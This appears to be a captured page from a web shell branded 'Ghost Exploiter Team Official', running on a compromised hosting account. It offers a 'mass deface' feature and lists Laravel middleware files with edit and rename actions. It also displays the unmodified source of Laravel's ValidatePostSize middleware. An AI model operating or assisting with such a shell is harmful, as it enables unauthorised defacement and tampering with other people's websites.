webshell
Ghost Exploiter Team Official
Mass Deface
Directory >>
/
home
/
whitjouh
/
public_html
/
core
/
vendor
/
laravel
/
framework
/
src
/
Illuminate
/
Foundation
/
Http
/
Middleware
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
+New File
CheckForMaintenanceMode
...
0.136KB
edt
ren
ConvertEmptyStringsToNu
...
1.344KB
edt
ren
HandlePrecognitiveReque
...
2.392KB
edt
ren
PreventRequestsDuringMa
...
4.685KB
edt
ren
TransformsRequest.php
2.047KB
edt
ren
TrimStrings.php
1.646KB
edt
ren
ValidatePostSize.php
1.193KB
edt
ren
VerifyCsrfToken.php
5.914KB
edt
ren
<?php namespace Illuminate\Foundation\Http\Middleware; use Closure; use Illuminate\Http\Exceptions\PostTooLargeException; class ValidatePostSize { /** * Handle an incoming request. * * @param \Illuminate\Http\Request $request * @param \Closure $next * @return mixed * * @throws \Illuminate\Http\Exceptions\PostTooLargeException */ public function handle($request, Closure $next) { $max = $this->getPostMaxSize(); if ($max > 0 && $request->server('CONTENT_LENGTH') > $max) { throw new PostTooLargeException; } return $next($request); } /** * Determine the server 'post_max_size' as bytes. * * @return int */ protected function getPostMaxSize() { if (is_numeric($postMaxSize = ini_get('post_max_size'))) { return (int) $postMaxSize; } $metric = strtoupper(substr($postMaxSize, -1)); $postMaxSize = (int) $postMaxSize; return match ($metric) { 'K' => $postMaxSize * 1024, 'M' => $postMaxSize * 1048576, 'G' => $postMaxSize * 1073741824, default => $postMaxSize, }; } }
<=Back
Liking